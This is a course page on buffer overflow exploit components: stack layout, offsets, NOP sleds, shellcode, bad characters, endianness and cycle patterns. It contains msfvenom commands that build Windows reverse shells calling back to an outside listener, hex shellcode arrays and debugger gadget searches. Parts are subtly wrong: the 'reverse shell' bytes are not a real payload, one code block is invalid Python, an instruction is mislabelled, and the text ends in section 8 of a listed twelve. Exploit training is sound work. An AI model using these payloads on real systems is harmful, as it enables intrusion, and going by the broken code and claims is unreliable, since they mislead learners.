Domain 3Exploit Dev & AV EvasionCORE

Common Exploit Components

Complete reference for buffer overflow components including offset/filler, EIP/return addresses, NOP sleds, shellcode, cycle strings, and endianness. Covers memory layout, stack behavior, and how each component works together.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#buffer-overflow#shellcode#nop-sled#endianness#oscp

Common Exploit Components

Module 10: Fixing Exploits | Topic 3

This guide covers every component that makes up a buffer overflow exploit — from the initial crash through to a working shell. Each piece is explained in depth with memory diagrams, practical examples, and the reasoning behind why it works.


Table of Contents

  1. Buffer Overflow Fundamentals
  2. Memory Layout and Stack Anatomy
  3. The Exploit Buffer Layout
  4. NOP Sled — Deep Dive
  5. Shellcode — Deep Dive
  6. Return Addresses and EIP Control
  7. Endianness — Little vs Big Endian
  8. Offsets and Cycle Strings
  9. Stack vs Heap Overflows
  10. SEH Chain Overwrite
  11. Putting It All Together — A Complete Example
  12. Quick Reference Cheat Sheet

1. Buffer Overflow Fundamentals

What Is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a fixed-size buffer than it can hold, causing the excess data to spill into adjacent memory. If the overflow reaches critical memory regions (like the return address on the stack), an attacker can redirect program execution.

Why Do Buffer Overflows Exist?

The root cause is unsafe memory handling — functions that copy data without checking bounds:

Unsafe Function Safe Alternative Why It’s Dangerous
strcpy() strncpy() No length check — copies until null byte
strcat() strncat() Appends without checking destination size
sprintf() snprintf() Formats without buffer size limit
gets() fgets() Reads until newline, no size limit at all
scanf("%s") scanf("%255s") No width specifier = no limit
vsprintf() vsnprintf() Variable args, no bounds

Types of Buffer Overflows

Buffer Overflow Types
├── Stack-Based Overflow (most common in OSCP)
│   └── Overflow overwrites stack memory → return address
├── Heap-Based Overflow
│   └── Overflow overwrites heap metadata or adjacent objects
├── BSS/Data Segment Overflow
│   └── Overflow overwrites global/static variables
└── Integer Overflow → Buffer Overflow
    └── Integer wraps → small allocation → large copy

The Classic Vulnerable Code Pattern

// VULNERABLE — no bounds checking
void vulnerable_function(char *user_input) {
    char buffer[64];          // Fixed 64-byte buffer on the stack
    strcpy(buffer, user_input);  // Copies WITHOUT checking length!
}

// SAFE — bounds checking
void safe_function(char *user_input) {
    char buffer[64];
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';  // Ensure null termination
}

Key Insight: The vulnerability exists because strcpy has no way to know buffer is only 64 bytes. It blindly copies until it hits a null byte (\x00).


2. Memory Layout and Stack Anatomy

How Memory Is Organized in a Process

Every running process has a virtual address space organized into distinct regions:

┌─────────────────────────────────────────────────────────────┐
│  HIGH ADDRESSES (0xFFFFFFFF)                                │
│  ┌─────────────────────────────────────────────────────┐    │
│  │                Environment Variables                 │    │
│  ├─────────────────────────────────────────────────────┤    │
│  │                   Command Line Args                  │    │
│  ├─────────────────────────────────────────────────────┤    │
│  │                     Arguments                        │    │
│  ├─────────────────────────────────────────────────────┤    │
│  │                   Stack (GROWS DOWN) ◄──┐           │    │
│  │  ┌───────────────────────────────────┐  │           │    │
│  │  │  Local variables / buffers        │  │           │    │
│  │  ├───────────────────────────────────┤  │           │    │
│  │  │  Saved EBP (Base Pointer)         │◄─┤           │    │
│  │  ├───────────────────────────────────┤  │           │    │
│  │  │  Return Address (RET)             │◄─┤ OVERFLOW  │    │
│  │  ├───────────────────────────────────┤  │   TARGET  │    │
│  │  │  Function parameters              │  │           │    │
│  │  └───────────────────────────────────┘  │           │    │
│  │                                         │  │           │    │
│  ├─────────────────────────────────────────┤  │           │    │
│  │              .data (initialized)         │  │           │    │
│  ├─────────────────────────────────────────┤  │           │    │
│  │              .bss (uninitialized)        │  │           │    │
│  ├─────────────────────────────────────────┤  │           │    │
│  │              .text (code)               │  │           │    │
│  ├─────────────────────────────────────────┤  │           │    │
│  │              .rodata (constants)         │  │           │    │
│  ├─────────────────────────────────────────┤  │           │    │
│  │              Heap (GROWS UP) ────────────┘           │    │
│  ├─────────────────────────────────────────────────────┤    │
│  │              mmap regions                          │    │
│  ├─────────────────────────────────────────────────────┤    │
│  │              OS / Kernel space                     │    │
│  └─────────────────────────────────────────────────────┘    │
│  LOW ADDRESSES (0x00000000)                                │
└─────────────────────────────────────────────────────────────┘

The Stack Frame — Frame by Frame

When a function is called, the CPU creates a stack frame. Here’s exactly what happens:

Function Call: main() → vulnerable_function() → strcpy()

Stack at the moment of overflow:

  0x0012FF60  │  "AAAA...AAA" ← buffer[64] starts here (lowest addr in buffer)
  0x0012FF64  │  "AAAA...AAA"
  ...         │  ...
  0x0012FF9F  │  "AAAA...AAA" ← buffer[64] ends here
  0x0012FFA0  │  Padding / alignment (may exist, compiler-dependent)
  0x0012FFA4  │  Saved EBP ──────────────────────────────┐
  0x0012FFA8  │  Return Address ◄── OVERFLOW WRITES HERE  │
  0x0012FFAC  │  Parameter 1 (user_input pointer)         │ Stack GROWS
  0x0012FFB0  │  Parameter 2 (if any)                     │ DOWNWARD ↓
  ...         │  ...                                      │
  HIGHER ADDRESSES                                         │
                                                          │
  ────────────────────────────────────────────────────────┘
  EBP points here (frame pointer for current function)

Mermaid Diagram: Stack Frame Structure

graph TD
    subgraph Stack["Stack (grows downward ↓)"]
        A["Higher Addresses"]
        B["Parameter N"]
        C["Parameter 2"]
        D["Parameter 1"]
        E["Return Address ◄── OVERFLOW TARGET"]
        F["Saved EBP"]
        G["Local Variables"]
        H["buffer[63]"]
        I["buffer[0]"]
        J["Lower Addresses"]
    end

    A --> B --> C --> D --> E --> F --> G --> H --> I --> J

    style E fill:#ff6b6b,stroke:#c0392b,stroke-width:3px
    style F fill:#ffa502,stroke:#e67e22,stroke-width:2px
    style I fill:#7bed9f,stroke:#2ed573,stroke-width:2px
    style H fill:#7bed9f,stroke:#2ed573,stroke-width:2px

The call and ret Instructions — What Actually Happens

When vulnerable_function() is called:

; When main() calls vulnerable_function():
push    arg                ; Push argument onto stack
call    vulnerable_function ; Pushes return address, jumps to function

; Inside vulnerable_function() prologue:
push    ebp                ; Save caller's EBP
mov     ebp, esp           ; Set up new frame pointer
sub     esp, 0x40          ; Allocate 64 bytes for local buffer

; ... strcpy runs here, overwriting beyond buffer ...

; Inside vulnerable_function() epilogue:
mov     esp, ebp           ; Restore stack pointer
pop     ebp                ; Restore caller's EBP
ret                        ; POP return address into EIP ← THIS IS WHERE WE TAKE CONTROL

Critical Point: The ret instruction pops whatever is at the top of the stack into the EIP (Instruction Pointer). If we overflow the buffer and overwrite the return address, ret will jump to OUR address.


3. The Exploit Buffer Layout

The Classic Exploit Structure

When crafting a buffer overflow exploit, our payload is structured as:

┌──────────────────────────────────────────────────────────────────┐
│                    OUR EXPLOIT BUFFER                            │
│                                                                  │
│  ┌──────────┐  ┌──────┐  ┌──────────┐  ┌─────────────────────┐  │
│  │  OFFSET  │  │ EIP  │  │ NOP SLED │  │     SHELLCODE       │  │
│  │ (Filler) │  │(Addr) │  │ (Junk)   │  │  (Reverse Shell)    │  │
│  │  'A'*n   │  │\x??.. │  │ \x90*200 │  │  \x31\xc0\x50...   │  │
│  └──────────┘  └──────┘  └──────────┘  └─────────────────────┘  │
│       │              │             │                │           │
│       ▼              ▼             ▼                ▼           │
│  Overwrites    Overwrites     Lands here     Actual code       │
│  the buffer    RET address    when EIP       to execute        │
│  completely    → redirects    lands here     (calc, shell,    │
│  with junk     execution      via JMP/CALL   bind shell, etc) │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

How Each Component Maps to Memory

What we send:          What it looks like in memory (stack):

  [OFFSET]             [buffer[0]...buffer[63]]  ← Original buffer
  [EIP ]               [padding / saved EBP]     ← Overwritten
                       [OUR RET ADDRESS]         ← Overwritten → points to NOP sled
                       [NOP SLED]                ← Overflowed onto stack
                       [SHELLCODE]               ← Overflowed onto stack

After 'ret' executes:
  EIP → points somewhere in NOP sled
  CPU executes NOPs → slides down → hits shellcode → BOOM

Why This Order?

The order is dictated by the stack layout:

  1. Buffer comes first (lowest address) — the overflow starts filling the buffer
  2. Saved EBP sits right after the buffer — gets overwritten with junk
  3. Return address sits right after saved EBP — this is what we control
  4. Everything after is overflowed data — we put NOP sled + shellcode here

The return address must point to the NOP sled because:

  • We can’t predict the exact address of our shellcode
  • The NOP sled gives us a “landing zone” — any address in the sled works
  • The CPU “slides” through NOPs until it hits real instructions

4. NOP Sled — Deep Dive

What Is a NOP?

NOP = No OPeration. It’s a CPU instruction that does absolutely nothing and moves to the next instruction.

Architecture NOP Byte Assembly
x86 (32-bit) \x90 nop
x86 (64-bit) \x90 nop
x86 (multi-byte) \x66\x90 nop (2 bytes)
ARM \x00\x00\x00\x00 mov r0, r0
MIPS \x00\x00\x00\x00 nop

Why Do We Need a NOP Sled?

Without NOP sled:
  ┌─────────────────────────────────────────────┐
  │  We need EIP to hit shellcode EXACTLY        │
  │  Return Address → 0x0012FFB2 ← must be      │
  │                           perfectly accurate │
  │  Off by 1 byte = crash                       │
  └─────────────────────────────────────────────┘

With NOP sled:
  ┌─────────────────────────────────────────────┐
  │  We have a LARGE target area                 │
  │  Return Address → ANYWHERE in the sled       │
  │  works! The CPU slides to the shellcode      │
  │  ┌──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┐     │
  │  │90│90│90│90│90│90│90│90│90│90│90│90│...   │
  │  └──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘     │
  │  ↑    ↑    ↑    ↑    ↑    ↑                 │
  │  Any of these addresses work!                │
  └─────────────────────────────────────────────┘

How the CPU “Slides” Through a NOP Sled

EIP points here ──┐
                  │
  Memory:         │
  0x0012FFB0: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB1: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB2: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB3: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB4: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB5: 90  │ ← NOP (do nothing, EIP++)
  0x0012FFB6: 31  │ ← SHELLCODE STARTS HERE
  0x0012FFB7: c0  │
  0x0012FFB8: 50  │
                  │
  CPU execution:  │
  Step 1: EIP=0xB0, execute NOP, EIP becomes 0xB1
  Step 2: EIP=0xB1, execute NOP, EIP becomes 0xB2
  Step 3: EIP=0xB2, execute NOP, EIP becomes 0xB3
  Step 4: EIP=0xB3, execute NOP, EIP becomes 0xB4
  Step 5: EIP=0xB4, execute NOP, EIP becomes 0xB5
  Step 6: EIP=0xB5, execute NOP, EIP becomes 0xB6
  Step 7: EIP=0xB6, execute shellcode! 🎯

NOP Sled Sizing Strategy

Scenario Recommended Size Reasoning
Lab / controlled environment 100-200 bytes Enough to hit reliably
Production exploit 200-500 bytes More tolerance for address guessing
Size-constrained (small buffer) 20-50 bytes Best you can do, need precise targeting
When using JMP ESP 50-100 bytes JMP ESP lands you right on ESP

Alternative NOP-Like Instructions

When \x90 is a “bad character” (filtered by the application), use these equivalents:

; All do nothing and advance EIP:
x86 NOP alternatives:
  0x90                    ; Standard NOP
  0x66 0x90               ; NOP with operand-size override
  0x89 0xF0               ; mov eax, eax
  0x89 0xC0               ; mov eax, eax
  0x40 0x48               ; inc eax; dec eax
  0x41 0x49               ; inc ecx; dec ecx
  0x50 0x58               ; push eax; pop eax
  0x51 0x59               ; push ecx; pop ecx
  0x52 0x5A               ; push edx; pop edx
  0x53 0x5B               ; push ebx; pop ebx
  0x56 0x5E               ; push esi; pop esi
  0x57 0x5F               ; push edi; pop edi
  0x83 0xC0 0x00          ; add eax, 0
  0x83 0xC1 0x00          ; add ecx, 0

Mermaid: NOP Sled Execution Flow

flowchart LR
    A["EIP lands in<br>NOP sled<br>(anywhere)"] --> B["Execute NOP<br>EIP++"]
    B --> C{"Next byte<br>is NOP?"}
    C -->|"Yes (\x90)"| B
    C -->|"No — real code"| D["Execute<br>Shellcode! 🎯"]

    style A fill:#ff9ff3,stroke:#5f27cd,stroke-width:2px
    style D fill:#55efc4,stroke:#00b894,stroke-width:3px
    style C fill:#fdcb6e,stroke:#e17055,stroke-width:2px

5. Shellcode — Deep Dive

What Is Shellcode?

Shellcode is a small piece of machine code (payload) that is injected into a running process to perform a specific action. It’s called “shellcode” because traditionally it spawns a shell (/bin/sh on Linux, cmd.exe on Windows).

Key Properties of Shellcode

Property Why It Matters
Position-Independent Must work at ANY memory address — no absolute addresses
No Null Bytes \x00 terminates C strings → truncates the payload
Architecture-Matched x86 shellcode won’t run on x64 (and vice versa)
Size-Minimized Smaller = easier to fit, harder to detect
No Bad Chars Must avoid characters filtered by the target app

Position-Independent Code (PIC) Explained

NON-Position-Independent (BROKEN for exploits):
  mov eax, 0x41414141    ; Hardcoded absolute address — fails if
  call eax                ; memory layout changes!

Position-Independent (CORRECT for exploits):
  call get_eip            ; Call forward — pushes return addr
get_eip:                  ;
  pop eax                 ; Pop that return addr into EAX → now we
                          ; know our own address!
  add eax, 20             ; Offset to where our string/data lives
  mov ebx, eax            ; Use EAX as base for all references

Common Shellcode Types

1. Reverse TCP Shell (Most Common in OSCP)

# Generated by msfvenom:
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f python -b '\x00'

shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x6a\x0a"
    b"\x68\x02\x00\x01\x02\x68\x02\x00\x01\x02\x89"
    b"\xe6\x6a\x10\x56\x57\x68\x02\x00\x01\x02\x89"
    b"\xe6\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
    b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
    b"\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
)

2. Bind TCP Shell

# Listens on a port for incoming connection
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -b '\x00'

3. Calculator Shellcode (Testing)

# Tiny payload — just opens calc.exe
# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x64\x31\xd2\x64\x8b\x52"
            b"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31"
            b"\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
            b"\xe2\xf0\x52\x57\x8b\x52\x20\x8b\x42\x1c\x01\xd0\x8b\x40\x08"
            b"\x85\xc0\x74\x4a\x01\xd0\x66\x8b\x0c\x48\x8b\x58\x24\x01\xd0"
            b"\x8b\x04\x88\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51"
            b"\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x61\x6c\x63"
            b"\x00\x54\x68\x73\x68\x65\x6c\x6c\x00\x54\x68\x43\x00\x5f\x38"
            b"\x00\x00\x54\x68\x28\xac\xcc\x17\xff\xd5"

Generating Shellcode with msfvenom

# Basic reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f python -b '\x00'

# With bad chars excluded
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f python -b '\x00\x0a\x0d'

# Encoder to avoid bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f python

# Check shellcode for bad chars
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f c -b '\x00'
# Then inspect output for unwanted bytes

Bad Characters — The Complete Guide

Bad characters are bytes that corrupt or terminate the payload during transmission. They must be identified and eliminated.

Common Bad Characters and Their Causes

Bad Char Hex Cause Solution
Null byte \x00 C string terminator (strcpy, strcat) Always exclude — use -b '\x00'
Line feed \x0a Newline — breaks HTTP/SMTP protocols Exclude if protocol is text-based
Carriage return \x0d Newline — breaks HTTP/SMTP protocols Exclude if protocol is text-based
Space \x20 URL encoding / command parsing Exclude if URL-based
Slash \x2f URL path separator Exclude if URL-based
Backslash \x5c Escape character in some parsers Exclude if needed
Quote \x27 / \x22 String delimiter Exclude if string-parsed
Semicolon \x3b Command separator Exclude if command-injected

How to Find Bad Characters

# Step 1: Send ALL possible bytes
badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

# Step 2: Put badchars right before shellcode in your exploit
# Step 3: Debug with Immunity Debugger — check memory at ESP
# Step 4: Compare sent bytes vs received bytes — missing/changed = bad char
# Step 5: Remove identified bad chars, regenerate shellcode with -b flag

Visual: Bad Char Detection Process

flowchart TD
    A["Send ALL bytes<br>0x01-0xFF as payload"] --> B["Debug in Immunity<br>Check memory at ESP"]
    B --> C{"Bytes match<br>what was sent?"}
    C -->|"Yes"| D["Not a bad char ✓"]
    C -->|"No / Missing"| E["BAD CHAR ✗<br>Add to exclusion list"]
    E --> F["Regenerate shellcode<br>with -b flag"]
    F --> G["Test again with<br>fewer bad chars"]
    G --> B
    D --> G

    style E fill:#ff6b6b,stroke:#c0392b,stroke-width:2px
    style D fill:#55efc4,stroke:#00b894,stroke-width:2px
    style F fill:#74b9ff,stroke:#0984e3,stroke-width:2px

Shellcode Architecture Matching

Target Architecture Shell Shellcode Prefix
Windows 32-bit x86 cmd.exe windows/
Windows 64-bit x64 cmd.exe windows/x64/
Linux 32-bit x86 /bin/sh linux/x86/
Linux 64-bit x64 /bin/sh linux/x86_64/
Linux ARM ARM /bin/sh linux/arm/
Linux MIPS MIPS /bin/sh linux/mipsbe/

Warning: Using x86 shellcode against a 64-bit process (or vice versa) will cause an instant crash. Always verify the target binary architecture with file (Linux) or check PE headers (Windows).


6. Return Addresses and EIP Control

What Is EIP?

EIP (Extended Instruction Pointer) is a CPU register that holds the memory address of the next instruction to execute. Controlling EIP = controlling program flow.

Normal execution:
  EIP → Instruction 1 → EIP++ → Instruction 2 → EIP++ → ...

After overflow:
  EIP → OUR ADDRESS → Shellcode → Reverse Shell 🎉

Registers Overview (x86)

Register Purpose Exploit Relevance
EIP Next instruction address PRIMARY TARGET — overwrite to redirect execution
ESP Stack pointer (top of stack) Points to data we control — great JMP target
EBP Base/frame pointer Overwritten but usually not our target
EAX, EBX, ECX, EDX General purpose Used by shellcode for syscalls
ESI, EDI String operations Used by shellcode for memory ops

Finding Good Return Address Instructions

When we overwrite the return address, we need it to point to an instruction that will lead us to our shellcode. The best instructions:

JMP ESP (Most Common)

; Found in modules without ASLR (e.g., essfunc.dll, user32.dll)
FF E4    ; JMP ESP

Why it works:
1. 'ret' pops our address into EIP
2. EIP → JMP ESP instruction
3. JMP ESP jumps to wherever ESP points
4. ESP points to our overflowed data (NOP sled + shellcode)
5. We're in! 🎉

Finding JMP ESP with Mona:

!mona find -s "\xff\xe4" -m *.dll
!mona find -s "\xff\xe4" -m essfunc.dll

POP/POP/RET Gadgets

; Useful when you need to set up registers before shellcode
58    ; POP EAX
58    ; POP EAX
C3    ; RET

Why useful:
- POP values from our controlled stack into registers
- RET continues to next gadget or shellcode
- Foundation of ROP (Return-Oriented Programming)

CALL Instructions

E8 00 00 00 00    ; CALL relative (pushes return addr, jumps forward)

Why useful:
- CALL pushes the return address onto the stack
- We can POP it to get our own address (position-independent!)
- Common technique: CALL → POP → we know our address

Finding Instructions with Mona

; Find specific byte sequences in all modules
!mona find -s "\xff\xe4" -m *.dll        ; JMP ESP
!mona find -s "\xff\xe0" -m *.dll        ; JMP EAX
!mona find -s "\xff\xe1" -m *.dll        ; JMP ECX
!mona find -s "\xff\xe2" -m *.dll        ; JMP EDX
!mona find -s "\xff\xe5" -m *.dll        ; JMP EBP
!mona find -s "\xff\xe6" -m *.dll        ; JMP ESI
!mona find -s "\xff\xe7" -m *.dll        ; JMP EDI

; Find in specific module
!mona find -s "\xff\xe4" -m essfunc.dll

; Find CALL instructions
!mona find -s "\xe8" -m *.dll            ; CALL rel32

; Find POP POP RET
!mona find -s "\x59\x59\xc3" -m *.dll   ; POP ECX; POP ECX; RET

Mermaid: EIP Control Flow

sequenceDiagram
    participant P as Program
    participant S as Stack
    participant E as EIP Register
    participant Sc as Shellcode

    P->>S: Buffer overflow occurs
    S->>S: Return address overwritten<br>with JMP ESP address
    P->>E: 'ret' instruction executes
    Note over E: EIP = address of JMP ESP
    E->>S: JMP ESP reads ESP
    Note over S: ESP points to NOP sled
    S->>Sc: CPU slides through NOPs
    Sc->>Sc: Shellcode executes!<br>Reverse shell spawned

7. Endianness — Little vs Big Endian

What Is Endianness?

Endianness determines the order in which multi-byte values are stored in memory. This is critical for exploit development because we must write addresses in the correct byte order.

Little Endian (x86/x64 — What We Use)

In little endian, the least significant byte is stored at the lowest address.

Address:  0x0012FFA8  0x0012FFA9  0x0012FFAA  0x0012FFAB
          ┌─────────┐ ┬─────────┐ ┬─────────┐ ┬─────────┐
Value:    │  0x41    │ │  0x42   │ │  0x43   │ │  0x44   │
          └─────────┘ └─────────┘ └─────────┘ └─────────┘
                    ↑ LSB                        ↑ MSB
                    Stored first               Stored last

In Python: b'\x41\x42\x43\x44'
As address: 0x44434241  ← READ backwards from memory!

So to write address 0x7E4A3290 to memory:
  Memory bytes:  90 32 4A 7E
  Python bytes:  b'\x90\x32\x4A\x7E'
  struct.pack:   struct.pack('<L', 0x7E4A3290)

Big Endian (Network Order)

In big endian, the most significant byte is stored at the lowest address.

Address:  0x0012FFA8  0x0012FFA9  0x0012FFAA  0x0012FFAB
          ┌─────────┐ ┬─────────┐ ┬─────────┐ ┬─────────┐
Value:    │  0x44    │ │  0x43   │ │  0x42   │ │  0x41   │
          └─────────┘ └─────────┘ └─────────┘ └─────────┘
                    ↑ MSB                        ↑ LSB
                    Stored first               Stored last

In Python: b'\x44\x43\x42\x41'
As address: 0x44434241  ← Same order as written!

Side-by-Side Comparison

┌─────────────────────────────────────────────────────────────────┐
│                    ENDIANNESS COMPARISON                         │
│                                                                 │
│  Address Value:  0xDEADBEEF                                     │
│                                                                 │
│  ┌───────────────────────────┐  ┌───────────────────────────┐  │
│  │       LITTLE ENDIAN       │  │        BIG ENDIAN          │  │
│  │                           │  │                           │  │
│  │  Addr  │ Byte             │  │  Addr  │ Byte             │  │
│  │ ────── │ ────             │  │  ────── │ ────             │  │
│  │  +0    │ EF  (LSB) ◄───── first │  +0    │ DE  (MSB) ◄───── first │
│  │  +1    │ BE                   │  │  +1    │ AD                   │
│  │  +2    │ AD                   │  │  +2    │ BE                   │
│  │  +3    │ DE  (MSB) ──────► last │  │  +3    │ EF  (LSB) ──────► last │
│  │                           │  │                           │  │
│  │  Python: b'\xEF\xBE\xAD\xDE' │  │  Python: b'\xDE\xAD\xBE\xEF' │  │
│  └───────────────────────────┘  └───────────────────────────┘  │
│                                                                 │
│  x86/x64 = LITTLE ENDIAN ← What we use for exploits!           │
│  Network protocols = BIG ENDIAN                                │
└─────────────────────────────────────────────────────────────────┘

Why Little Endian?

The name comes from Gulliver’s Travels — the Little Endians believed eggs should be broken at the small (little) end. Intel chose little endian for the 8086, and it stuck through x86, x64, and beyond.

Endianness in Exploit Code

import struct

# Method 1: struct.pack (RECOMMENDED)
ret_addr = 0x7E4A3290
packed = struct.pack('<L', ret_addr)   # '<' = little endian, 'L' = unsigned long (4 bytes)
print(packed)  # b'\x90\x32\x4A\x7E'

# Method 2: Manual byte reversal
ret_addr = 0x7E4A3290
packed = b''
for i in range(4):
    packed += bytes([ret_addr & 0xFF])
    ret_addr >>= 8
print(packed)  # b'\x90\x32\x4A\x7E'

# Method 3: Direct byte string (for known addresses)
packed = b'\x90\x32\x4A\x7E'

# Common struct.pack formats:
# '<L'  = little endian unsigned long (4 bytes) — MOST COMMON
# '<I'  = little endian unsigned int (4 bytes) — same as <L
# '<Q'  = little endian unsigned long long (8 bytes) — for 64-bit
# '>L'  = big endian unsigned long (4 bytes) — network order
# '<H'  = little endian unsigned short (2 bytes)

Mermaid: Endianness Visual

graph LR
    subgraph LE["Little Endian x86/x64"]
        A1["Addr+0: 0x90<br/>LSB"] --> A2["Addr+1: 0x32"]
        A2 --> A3["Addr+2: 0x4A"]
        A3 --> A4["Addr+3: 0x7E<br/>MSB"]
    end

    subgraph BE["Big Endian Network"]
        B1["Addr+0: 0x7E<br/>MSB"] --> B2["Addr+1: 0x4A"]
        B2 --> B3["Addr+2: 0x32"]
        B3 --> B4["Addr+3: 0x90<br/>LSB"]
    end

    style LE fill:#dfe6e9,stroke:#636e72,stroke-width:2px
    style BE fill:#ffeaa7,stroke:#fdcb6e,stroke-width:2px
    style A1 fill:#ff7675,stroke:#d63031,stroke-width:2px
    style A4 fill:#74b9ff,stroke:#0984e3,stroke-width:2px

Common Endianness Mistakes

Mistake Symptom Fix
Writing address in big-endian order Crash — EIP points to garbage Use struct.pack('<L', addr)
Forgetting to reverse bytes manually Crash — wrong address in memory Always verify with debugger
Mixing 32-bit and 64-bit packing Only partial address written Use <L for 32-bit, <Q for 64-bit
Null bytes in address Payload truncated by strcpy Find module address without null bytes

8. Offsets and Cycle Strings

Why Do We Need an Offset?

The offset is the exact number of bytes between the start of the buffer and the return address. We need it because:

  1. The buffer might be 500 bytes, but the return address might not be at byte 500 — it could be at 504, 508, 512, etc.
  2. Padding, alignment, and saved EBP add bytes between the buffer end and the return address.
  3. We need to know exactly where our 4 return address bytes land.

What Is a Cycle String (Pattern)?

A cycle string (or pattern) is a uniquely repeating sequence of characters where every N-byte substring is unique. This lets us identify exactly which bytes overwrote EIP.

Pattern example (first 30 bytes):
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6

Notice: Every 3-byte window is unique:
  Pos 0: "Aa0"
  Pos 1: "a0A"
  Pos 2: "0Aa"
  Pos 3: "Aa1"
  ...and so on

When EIP = 0x37624136, we can look up: "At what position does '6Aa' appear?"
Answer: Position 1234 → that's our offset!

How Metasploit Pattern Tools Work

Step 1: Create the Pattern

# Generate a unique pattern of specific length
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# Output: Aa0Aa1Aa2Aa3... (3000 unique characters)

How it works internally:

The pattern uses a cycling alphabet scheme:
- Lowercase: a-z (26 chars)
- Uppercase: A-Z (26 chars)
- Digits: 0-9 (10 chars)

Pattern generation algorithm (simplified):
  for i in 0..length:
    digit = i % 10
    lower = chr('a' + (i / 10) % 26)
    upper = chr('A' + (i / 260) % 26)
    output += upper + lower + str(digit)

Step 2: Send the Pattern as Exploit

# Send the pattern to trigger the crash
buffer = open('pattern.txt', 'rb').read()
# or generate inline:
from subprocess import check_output
pattern = check_output([
    '/usr/share/metasploit-framework/tools/exploit/pattern_create.rb', '-l', '3000'
]).decode().strip()

Step 3: Find the Offset

# After crashing, note the EIP value from the debugger
# EIP = 0x37624136

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 37624136

# Output:
# [*] Exact match at offset 1234

How pattern_offset works internally:

1. Regenerate the same pattern
2. Convert EIP value to little-endian bytes: 0x37624136 → b'6Aa7'
3. Search for b'6Aa7' in the pattern
4. Return the starting position → that's the offset!

Note: The EIP value 0x37624136 in memory is stored as:
  Memory: 36 41 62 37  (little endian)
  ASCII:  '6' 'A' 'a' '7'
  So we search for the string "6Aa7" in our pattern

Python Implementation (No Metasploit Needed)

# Pure Python pattern creation (same algorithm as Metasploit)
def create_pattern(length):
    pattern = []
    i = 0
    while len(pattern) < length:
        for a in range(65, 91):      # A-Z
            for b in range(97, 123): # a-z
                for c in range(48, 58): # 0-9
                    if len(pattern) < length:
                        pattern.append(chr(a) + chr(b) + str(c - 48))
                    i += 1
    return ''.join(pattern)[:length]

def find_offset(eip_value, pattern):
    # Convert EIP to little-endian string
    eip_bytes = struct.pack('<L', eip_value)
    # Find in pattern
    offset = pattern.find(eip_bytes.decode('latin-1'))
    return offset

